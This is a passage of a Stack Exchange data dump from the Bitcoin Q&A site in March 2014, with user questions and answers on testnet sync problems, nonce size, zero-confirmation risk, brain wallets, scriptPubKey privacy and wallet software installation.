03:19:58 Flushed 0 addresses to peers.dat  16ms&#xA;2014-03-13 03:34:58 Flushed 0 addresses to peers.dat  32ms&#xA;...&#xA;...&#xA;...&#xA;2014-03-13 13:04:59 Flushed 0 addresses to peers.dat  20ms&#xA;2014-03-13 13:19:59 Flushed 0 addresses to peers.dat  3ms&#xA;2014-03-13 13:30:47 ThreadRPCServer method=getinfo&#xA;2014-03-13 13:30:47 keypool reserve 2&#xA;2014-03-13 13:30:47 keypool return 2&#xA;2014-03-13 13:34:59 Flushed 0 addresses to peers.dat  21ms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest any solutions to get bitcoind to synchronize and download the blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update on 2014-03-13:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried removing bitcoin.conf and running this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -testnet -debugnet -printtoconsole&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I got the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin version v0.8.6.0-g03a7d67-beta ()&#xA;Using OpenSSL version OpenSSL 1.0.1 14 Mar 2012&#xA;Default data directory /home/jlp/.bitcoin&#xA;Using data directory /home/jlp/.bitcoin/testnet3&#xA;Using at most 125 connections (1024 file descriptors available)&#xA;Using 4 threads for script verification&#xA;init message: Verifying wallet...&#xA;dbenv.open LogDir=/home/jlp/.bitcoin/testnet3/database ErrorFile=/home/jlp/.bitcoin/testnet3/db.log&#xA;Bound to [::]:18333&#xA;Bound to 0.0.0.0:18333&#xA;init message: Loading block index...&#xA;Opening LevelDB in /home/jlp/.bitcoin/testnet3/blocks/index&#xA;Opened LevelDB successfully&#xA;Opening LevelDB in /home/jlp/.bitcoin/testnet3/chainstate&#xA;Opened LevelDB successfully&#xA;LoadBlockIndexDB(): last block file = 0&#xA;LoadBlockIndexDB(): last block file info: CBlockFileInfo(blocks=1, size=293, heights=0...0, time=2011-02-02...2011-02-02)&#xA;LoadBlockIndexDB(): transaction index disabled&#xA;LoadBlockIndexDB(): hashBestChain=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  height=0 date=2011-02-02 23:16:42&#xA;init message: Verifying blocks...&#xA; block index              32ms&#xA;init message: Loading wallet...&#xA;nFileVersion = 80600&#xA; wallet                  454ms&#xA;init message: Loading addresses...&#xA;Loaded 0 addresses from peers.dat  0ms&#xA;mapBlockIndex.size() = 1&#xA;nBestHeight = 0&#xA;setKeyPool.size() = 101&#xA;mapWallet.size() = 0&#xA;mapAddressBook.size() = 1&#xA;AddLocal(XXX.XXX.XXX.XXX:18333,1)&#xA;IPv4 eth0: XXX.XXX.XXX.XXX&#xA;dnsseed thread start&#xA;Loading addresses from DNS seeds (could take a while)&#xA;net thread start&#xA;addcon thread start&#xA;opencon thread start&#xA;msghand thread start&#xA;&#xA;&#xA;dumpaddr thread start&#xA;Error: To use bitcoind, you must set a rpcpassword in the configuration file:&#xA;/home/jlp/.bitcoin/bitcoin.conf&#xA;It is recommended you use the following random password:&#xA;rpcuser=bitcoinrpc&#xA;rpcpassword=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;(you do not need to remember this password)&#xA;The username and password MUST NOT be the same.&#xA;If the file does not exist, create it with owner-readable-only file permissions.&#xA;It is also recommended to set alertnotify so you are notified of problems;&#xA;for example: alertnotify=echo %s | mail -s &quot;Bitcoin Alert&quot; admin@foo.com&#xA;&#xA;Error: To use bitcoind, you must set a rpcpassword in the configuration file:&#xA;/home/jlp/.bitcoin/bitcoin.conf&#xA;It is recommended you use the following random password:&#xA;rpcuser=bitcoinrpc&#xA;rpcpassword=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;(you do not need to remember this password)&#xA;The username and password MUST NOT be the same.&#xA;If the file does not exist, create it with owner-readable-only file permissions.&#xA;It is also recommended to set alertnotify so you are notified of problems;&#xA;for example: alertnotify=echo %s | mail -s &quot;Bitcoin Alert&quot; admin@foo.com&#xA;&#xA;init message: Done loading&#xA;dumpaddr thread stop&#xA;Shutdown : In progress...&#xA;msghand thread interrupt&#xA;Flush(false)&#xA;wallet.dat refcount=0&#xA;opencon thread interrupt&#xA;wallet.dat checkpoint&#xA;addcon thread interrupt&#xA;wallet.dat detach&#xA;wallet.dat closed&#xA;DBFlush(false) ended               1ms&#xA;StopNode()&#xA;net thread interrupt&#xA;0 addresses found from DNS seeds&#xA;dnsseed thread exit&#xA;Flushed 0 addresses to peers.dat  9ms&#xA;Committing 0 changed transactions to coin database...&#xA;Flush(true)&#xA;wallet.dat refcount=0&#xA;wallet.dat checkpoint&#xA;wallet.dat detach&#xA;wallet.dat closed&#xA;DBFlush(true) ended               1ms&#xA;Shutdown : done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As per the suggestion in the above response, I put the following into bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=bitcoinrpc&#xA;rpcpassword=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and reran:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -testnet -debugnet -printtoconsole&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and got the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin version v0.8.6.0-g03a7d67-beta ()&#xA;Using OpenSSL version OpenSSL 1.0.1 14 Mar 2012&#xA;Default data directory /home/jlp/.bitcoin&#xA;Using data directory /home/jlp/.bitcoin/testnet3&#xA;Using at most 125 connections (1024 file descriptors available)&#xA;Using 4 threads for script verification&#xA;init message: Verifying wallet...&#xA;dbenv.open LogDir=/home/jlp/.bitcoin/testnet3/database ErrorFile=/home/jlp/.bitcoin/testnet3/db.log&#xA;Bound to [::]:18333&#xA;Bound to 0.0.0.0:18333&#xA;init message: Loading block index...&#xA;Opening LevelDB in /home/jlp/.bitcoin/testnet3/blocks/index&#xA;Opened LevelDB successfully&#xA;Opening LevelDB in /home/jlp/.bitcoin/testnet3/chainstate&#xA;Opened LevelDB successfully&#xA;LoadBlockIndexDB(): last block file = 0&#xA;LoadBlockIndexDB(): last block file info: CBlockFileInfo(blocks=1, size=293, heights=0...0, time=2011-02-02...2011-02-02)&#xA;LoadBlockIndexDB(): transaction index disabled&#xA;LoadBlockIndexDB(): hashBestChain=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  height=0 date=2011-02-02 23:16:42&#xA;init message: Verifying blocks...&#xA; block index              50ms&#xA;init message: Loading wallet...&#xA;nFileVersion = 80600&#xA; wallet                  436ms&#xA;init message: Loading addresses...&#xA;Loaded 0 addresses from peers.dat  1ms&#xA;mapBlockIndex.size() = 1&#xA;nBestHeight = 0&#xA;setKeyPool.size() = 101&#xA;mapWallet.size() = 0&#xA;mapAddressBook.size() = 1&#xA;AddLocal(XXX.XXX.XXX.XXX:18333,1)&#xA;IPv4 eth0: XXX.XXX.XXX.XXX&#xA;dnsseed thread start&#xA;net thread start&#xA;Loading addresses from DNS seeds (could take a while)&#xA;addcon thread start&#xA;opencon thread start&#xA;msghand thread start&#xA;dumpaddr thread start&#xA;init message: Done loading&#xA;0 addresses found from DNS seeds&#xA;dnsseed thread exit&#xA;connection timeout&#xA;ERROR: GetMyExternalIP() : connection to YYY.YYY.YYY.YYY:80 failed&#xA;connection timeout&#xA;ERROR: GetMyExternalIP() : connection to ZZZ.ZZZ.ZZZ.ZZZ:80 failed&#xA;GetMyExternalIP() received [XXX.XXX.XXX.XXX] XXX.XXX.XXX.XXX:0&#xA;GetMyExternalIP() returned XXX.XXX.XXX.XXX&#xA;AddLocal(XXX.XXX.XXX.XXX:18333,4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a long while, I got the following additional response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Flushed 0 addresses to peers.dat  201ms&#xA;Flushed 0 addresses to peers.dat  4ms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone discern from above, what the problem is and how to solve it?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastEditorUserId="12048" LastEditDate="2014-03-13T19:08:40.817" LastActivityDate="2014-03-16T19:35:21.250" Title="bitcoind in testnet is not synchronizing" Tags="|bitcoind|block|testnet|synchronization|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23464" PostTypeId="2" ParentId="4243" CreationDate="2014-03-13T14:12:50.237" Score="0" Body="&lt;p&gt;You can find friends of friends that trade crypto currency at &lt;a href=&quot;https://www.cointouch.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.cointouch.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No fees or ID verification. Very easy to get started.&lt;/p&gt;&#xA;" OwnerUserId="5919" LastActivityDate="2014-03-13T14:12:50.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23465" PostTypeId="2" ParentId="23265" CreationDate="2014-03-13T14:16:58.740" Score="1" Body="&lt;p&gt;It might not have been there at the point you read it, since I've been adding to it lately, but there's an &lt;a href=&quot;https://iwilcox.me.uk/2014/proving-bitcoin-reserves&quot; rel=&quot;nofollow&quot;&gt;accompanying page&lt;/a&gt; with pretty diagrams, implementations and implementation notes which will probably be clearer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I'd add this as a comment but don't have the reputation.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13336" LastActivityDate="2014-03-13T14:16:58.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23467" PostTypeId="1" AcceptedAnswerId="23477" CreationDate="2014-03-13T14:42:49.560" Score="1" ViewCount="514" Body="&lt;p&gt;Is there a formal proof that with N bits to iterate in the nonce of the block, a hash satisfying proof of work will be ever found?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How large that N (number of bits in the nonce) should be to satisfy proof of work in 10 years, 100 years?&lt;/p&gt;&#xA;" OwnerUserId="14450" LastActivityDate="2014-03-13T19:22:57.700" Title="Required number of bits in nonce" Tags="|hash|" AnswerCount="2" CommentCount="0" ClosedDate="2014-03-13T22:58:45.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="23468" PostTypeId="2" ParentId="23467" CreationDate="2014-03-13T14:59:14.620" Score="2" Body="&lt;p&gt;In addition to the 32-bit nonce in the block header, miners can also update the extraNonce of arbitrary length in the coinbase transaction to get a different merkelRoot, so that a proof of work hash can always be found.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-13T14:59:14.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23471" PostTypeId="2" ParentId="22954" CreationDate="2014-03-13T15:35:11.757" Score="3" Body="&lt;h1&gt;Knowing won't help&lt;/h1&gt;&#xA;&lt;p&gt;You are effectively looking for a centralised entity to provide you with a prediction of the future behaviour of a decentralised entity (asking a mining pool to predict the blockchain).&lt;/p&gt;&#xA;&lt;p&gt;Even if one or more mining pools share this information, I do not believe it will provide you with a significant risk reduction in accepting transactions with zero confirmations.&lt;/p&gt;&#xA;&lt;p&gt;Knowing that the transaction has been accepted by a mining pool simply means that it is a valid transaction with a sufficient fee for that pool. This gives no guarantee that it will not be orphaned by a rival block or rejected from another pool in favour of another transaction which double spends the same input(s) with a larger fee. These things may not have a high probability but if you're going to assume they won't happen then you are accepting a small risk of the transaction failing. This risk is there regardless of whether the pool has announced it is including the transaction.&lt;/p&gt;&#xA;&lt;h1&gt;The sender can still attack&lt;/h1&gt;&#xA;&lt;p&gt;The transaction still has zero confirmations and it is only in the case that the transaction sender is not an attacker that you could trust that the transaction will eventually be confirmed. If you are trusting the sender not to be an attacker then you do not need an announcement from a pool. It is unlikely the sender would accidentally send an invalid transaction or one without sufficient fees. If you do not trust the sender then you should wait for an appropriate number of confirmations (depending on the level of risk you wish to accept and the resources you estimate the sender has).&lt;/p&gt;&#xA;&lt;p&gt;For amounts you are prepared to risk losing, you are of course free to accept payments with zero confirmations. My point is that the risk involved with accepting unconfirmed payments is much the same regardless of whether a mining pool has stated that they will include a transaction.&lt;/p&gt;&#xA;&lt;h1&gt;Miners are free to change their mind&lt;/h1&gt;&#xA;&lt;p&gt;As &lt;a href=&quot;https://bitcoin.stackexchange.com/users/2630/peter-micheal-lacey-bordeaux&quot;&gt;Peter Michael Lacey-Bordeaux&lt;/a&gt; points out in the comments to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/23322/14410&quot;&gt;Scott&lt;/a&gt;'s answer, there is nothing to stop a mining pool changing which transactions it includes at any time. The calculation of which transactions to include is short, whereas the search for a valid block hash is long. Given that no hash has yet been found, there is no disadvantage in abandoning a given block of transactions in favour of a slightly different block which includes some higher fees. &lt;em&gt;This means the sender can attempt a double spend without any mining resources at all&lt;/em&gt;. This is no threat to people who wait for a few confirmations, but should be considered by people who wish to accept unconfirmed transactions.&lt;/p&gt;&#xA;&lt;p&gt;The expected time until a valid hash is found (by someone, somewhere) is approximately 10 minutes (depending on how recently the difficulty has been updated). If 7 minutes have already elapsed, the expected remaining time is not 3 minutes. It is still 10 minutes, because the process is an &lt;a href=&quot;http://en.wikipedia.org/wiki/Exponential_distribution&quot; rel=&quot;nofollow noreferrer&quot;&gt;exponential distribution&lt;/a&gt; which makes it &lt;a href=&quot;http://en.wikipedia.org/wiki/Memoryless&quot; rel=&quot;nofollow noreferrer&quot;&gt;memoryless&lt;/a&gt;. So starting afresh with a new block of transactions doesn't have any effect on the expected time to find a valid hash, but it may increase the total fees. There is therefore an incentive for a miner to keep restarting the search with a more up to date transaction block, and the same incentive will apply to any pool equipped to do so.&lt;/p&gt;&#xA;&lt;p&gt;In summary, even if mining pools did announce transactions to be included, I would definitely not rely on that information.&lt;/p&gt;&#xA;" OwnerUserId="14410" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-03-13T16:22:04.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23474" PostTypeId="1" AcceptedAnswerId="23476" CreationDate="2014-03-13T17:55:44.967" Score="2" ViewCount="354" Body="&lt;p&gt;A brain wallet usually applies a hash function on a passphrase to derive the private key. But what if the private key itself is memorable and we just use the private key as the brain wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example it is very easy to memorize this private key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private key: 5JustSomeVeryEasyToRememberBitcoinPrivateKeyWALEmag&#xA;Address: 1GtAW7vntpij1q8Mqi3FQw8R1gAd9rnRV4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-13T18:37:51.173" Title="What if the brain wallet is just a memorable private key itself?" Tags="|private-key|brain-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23475" PostTypeId="2" ParentId="23474" CreationDate="2014-03-13T17:59:30.427" Score="2" Body="&lt;p&gt;If it is easy to remember, it is almost certainly easy to guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And by guess, I don't mean a single person trying a few sentences in some time. I mean exposing yourself to a brute force attack by the entire world (the block chain data is public), for eternity.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-13T17:59:30.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23476" PostTypeId="2" ParentId="23474" CreationDate="2014-03-13T18:37:51.173" Score="3" Body="&lt;p&gt;A series of random words (not a sentence!) &lt;a href=&quot;https://electrum.org/seed.html&quot; rel=&quot;nofollow&quot;&gt;long enough&lt;/a&gt; to use as a secure key should be about 12 words long, which could be around 100 characters long (figuring they're fairly long, 7-8 average, with a space in between). This gives you 2^128 combinations that you might have to try to crack your password, which might take about &lt;a href=&quot;http://www.eetimes.com/document.asp?doc_id=1279619&quot; rel=&quot;nofollow&quot;&gt;1 billion billion years&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A private key, in base 58 format, &lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow&quot;&gt;is 51 characters&lt;/a&gt; long. Your idea of using a 51-character sentence as a private key would probably give about &lt;a href=&quot;https://en.wikipedia.org/wiki/Entropy_%28information_theory%29&quot; rel=&quot;nofollow&quot;&gt;51 bits of entropy&lt;/a&gt; (English is around 0.6 to 1.3 bits per character), which could be cracked in about 12.5 seconds.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-03-13T18:37:51.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23477" PostTypeId="2" ParentId="23467" CreationDate="2014-03-13T18:55:26.383" Score="1" Body="&lt;p&gt;No, however, the probability that a satisfactory hash will be found tends to 1 as N approaches infinity. Or, to speak imprecisely, you'll always find one eventually (just maybe not as soon as you'd hope).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being a &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptographic_hash_function&quot; rel=&quot;nofollow&quot;&gt;cryptographic hash&lt;/a&gt;, the output of SHA256 is similar to a pseudorandom number generator. It's not &lt;strong&gt;guaranteed&lt;/strong&gt; that a random number generator will output a number meeting any given difficulty in any finite period of time (unless your difficulty can be defined so that every random number is valid), but you can make all sorts of accurate descriptions of what it will do &lt;strong&gt;on average&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This averaging is, of course, how the Bitcoin network is able to keep an average of about 10 minutes per confirmation in the face of a great many variables and unknowns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being that there's a maximum generally-accepted block size of 1MB, I suppose it is possible that some blocks are completely insoluble. For example, with N=1,048,576 (1024*1024) and the highest possible difficulty, requiring all zeroes in the hash: each attempt has a 1 in 2^256 probability of working. (let's assume you use up to the whole block for your nonce; maybe not quite realistic, but it's close enough) With 2^1048576 attempts, you'd probably expect something like 2^1048320 of them to succeed. But there is (if I did &lt;a href=&quot;http://en.wikipedia.org/wiki/Poisson_distribution&quot; rel=&quot;nofollow&quot;&gt;the math&lt;/a&gt; right) an e^-(2^1048320) probability that none of them will work. And it only gets smaller if you have a non-max difficulty. This number is incomprehensibly small, but is not quite 0.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-03-13T19:22:57.700" LastActivityDate="2014-03-13T19:22:57.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23478" PostTypeId="1" CreationDate="2014-03-13T19:14:21.877" Score="0" ViewCount="55" Body="&lt;p&gt;Is it possible to hide the balance of an address from standard clients who may be watching blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking about using script to modify the the key that is to be verified, but am having trouble concocting such a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any prior work that does obfuscate the RIPE160 address?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-07-12T00:48:00.527" Title="What are some valid ways to obfuscate the scriptPubKey?" Tags="|script|privacy|ripemd160|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23479" PostTypeId="1" CreationDate="2014-03-13T19:23:09.707" Score="0" ViewCount="1578" Body="&lt;p&gt;I'd like to iterate through the entire block chain using RPC.  The process I intend to do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;getblockhash 1&lt;/li&gt;&#xA;&lt;li&gt;getblock (input of #1 here)&lt;/li&gt;&#xA;&lt;li&gt;iterate through each transaction with GetRawtransaction (input of tx field here)&lt;/li&gt;&#xA;&lt;li&gt;After getting all transactions, call getblockhash 2 (or goto nextblockhash in block) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I just want to make sure I'm enumerating the chain correctly&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-07-30T10:00:18.260" Title="How do I iterate through the entire Blockchain using RPC?" Tags="|blockchain|json-rpc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23480" PostTypeId="1" CreationDate="2014-03-13T20:10:23.003" Score="1" ViewCount="138" Body="&lt;p&gt;I've used both BlockChain.info and Bitcoin-QT. Is it possible to use the same addresses on both? I don't have a incredibly large amount of bitcoins, so I'm not worried about it getting hacked into, however I am worried about it getting corrupt as it will be used in two different wallets. Is it possible for them to get corrupt by doing this? If not, how would I import the key to Bitcoin QT from BlockChain?&lt;/p&gt;&#xA;" OwnerUserId="14452" LastActivityDate="2014-09-10T00:02:58.850" Title="Possible to use BlockChain.info and Bitcoin-QT synced?" Tags="|blockchain|bitcoin-core|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23481" PostTypeId="2" ParentId="23478" CreationDate="2014-03-13T20:25:05.063" Score="1" Body="&lt;p&gt;You can insert two OP_HASH160 after the OP_DUP and then push the hash of your pubKeyHash. Nobody can tell the recipient address this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 OP_HASH160 double_double_hash OP_EQUALVERIFY OP_CHECKSIG &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double_double_hash = RIPEMD160(SHA256(RIPEMD160(SHA256(pubKey))))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="13751" LastEditDate="2014-03-13T20:46:32.203" LastActivityDate="2014-03-13T20:46:32.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23482" PostTypeId="2" ParentId="23480" CreationDate="2014-03-13T20:48:03.553" Score="1" Body="&lt;p&gt;You aren't going to run into issues doing this, as wallets don't store transactions (technically), they look them up on the Bitcoin network blockchain. If you make a transaction on one wallet it will automatically update as long as both have downloaded the latest chain. For blockchain.info wallets this will be true and for Bitcoin-QT it takes a few hours to download the full chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're afraid of making a corrupt wallet accidentally, you can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Print out the private key for your addresses. &lt;strong&gt;Keep it in a safe place.&lt;/strong&gt; An addresses       private key does not change. &lt;/li&gt;&#xA;&lt;li&gt;Create an encrypted backup. Both wallets let you do this, your wallet private keys will only be able to be read with a decryption key; the password you set for the wallet. Anyone who will have your encrypted backup won't be able to do much if they don't know your password for it and password strength.&lt;/li&gt;&#xA;&lt;li&gt;Create a brain wallet and import it into both wallets. All your keys from the memory wallet will simply be memorized in your mind, where you can only forget it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Check out these &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28/how-can-i-keep-my-wallet-secure&quot;&gt;precautions&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-03-13T20:48:03.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23483" PostTypeId="1" AcceptedAnswerId="24528" CreationDate="2014-03-13T21:59:12.323" Score="4" ViewCount="282" Body="&lt;p&gt;When you compare number of confirmations for a transaction by hash using Coinbase vs using Blockchain.info, Coinbase is always ~10 confirmations below Blockchain. Does anyone know why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the two resources below to compare. Coinbase's transaction details page requires authentication, so compare using a transaction from your own wallet.&#xA;&lt;a href=&quot;https://coinbase.com/network/transactions/TRX_HASH&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/network/transactions/TRX_HASH&lt;/a&gt;&#xA;&lt;a href=&quot;http://blockchain.info/tx/TRX_HASHd&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx/TRX_HASHd&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13454" LastActivityDate="2014-04-12T12:31:13.753" Title="Does anyone have insight into how Coinbase calculates the number of confirmations for a transaction?" Tags="|blockchain.info|confirmations|coinbase.com|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23484" PostTypeId="1" AcceptedAnswerId="23485" CreationDate="2014-03-13T22:17:14.463" Score="2" ViewCount="1031" Body="&lt;p&gt;I have seen, in numerous screenshots of Dogecoin-QT, a &quot;dig&quot; pane (equivalent to &quot;mine&quot; in some others):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UiB9L.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;However, my client has no such pane:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G7Uig.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Does anyone know where that option has gone? Was it removed in an upgrade?&lt;/p&gt;&#xA;" OwnerUserId="14453" LastEditorUserId="5406" LastEditDate="2016-04-17T20:48:31.833" LastActivityDate="2016-04-17T20:48:31.833" Title="No Dig option in Dogecoin-QT?" Tags="|miner-configuration|dogecoin|cpu-mining|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23485" PostTypeId="2" ParentId="23484" CreationDate="2014-03-13T22:51:44.760" Score="2" Body="&lt;p&gt;Yes, it was removed in an update. The developers have decided to hide it as a way to discourage users from wasting CPU time. CPU mining this big of a coin will get you no where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's suggested to mine using an external mining program like CGMiner or practically any miner recommended for Scrypt. Check out &lt;a href=&quot;https://litecoin.info/Mining_software&quot; rel=&quot;nofollow&quot;&gt;Litecoin wiki's Mining Software list&lt;/a&gt; and look into Scrypt mining guides such as the &lt;a href=&quot;http://dogecoin.wikia.com/wiki/Beginners_guide_to_Dogecoin#Digging_.28Mining_for_DogeCoins.29&quot; rel=&quot;nofollow&quot;&gt;Dogecoin wiki's 'Beginners guide'.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-13T22:51:44.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23486" PostTypeId="2" ParentId="23403" CreationDate="2014-03-13T23:38:40.020" Score="1" Body="&lt;p&gt;The simplest way is to use a &lt;a href=&quot;https://launchpad.net/~cwayne18/+archive/doge&quot; rel=&quot;nofollow&quot;&gt;PPA&lt;/a&gt;. Once you add the PPA to your apt sources, you can install it using &lt;code&gt;apt-get&lt;/code&gt; just like any other apt package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just run the following and you're good to go!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:cwayne18/doge&#xA;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install dogecoin-qt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note: When you use a PPA, you have to trust that the person maintaining the PPA doesn't do anything malicious. For the highest security, compile the source yourself.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-13T23:38:40.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23487" PostTypeId="1" CreationDate="2014-03-14T00:53:10.517" Score="4" ViewCount="290" Body="&lt;p&gt;I searched for an open specification of the peercoin protocol (more precise than the white paper) and I couldn't find one. Is it possible to find something similar to the bitcoin protocol specification available on bitcoin wiki but for peercoin ?&lt;/p&gt;&#xA;" OwnerUserId="14458" LastActivityDate="2018-05-03T22:26:57.283" Title="Is there a precise open specification for the peercoin protocol?" Tags="|specification|peercoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23488" PostTypeId="1" AcceptedAnswerId="23497" CreationDate="2014-03-14T01:32:15.677" Score="0" ViewCount="384" Body="&lt;p&gt;I heard about it somewhere, but no where found a complete step by step solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard that for addresses in the same wallet, the transaction fees can be avoided. Is it a rumor ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no, then please help on how to attain it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By wallet, I mean to say the wallet that is being used by bitcoind/litecoind or bitcoin-qt/litecoin-qt on a machine. (they usually use the wallet.dat)&lt;/p&gt;&#xA;" OwnerUserId="13642" LastEditorUserId="13642" LastEditDate="2014-03-16T20:12:38.467" LastActivityDate="2014-03-17T03:33:50.937" Title="Is there any way to prevent intra wallet transaction fees?" Tags="|bitcoind|litecoin|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
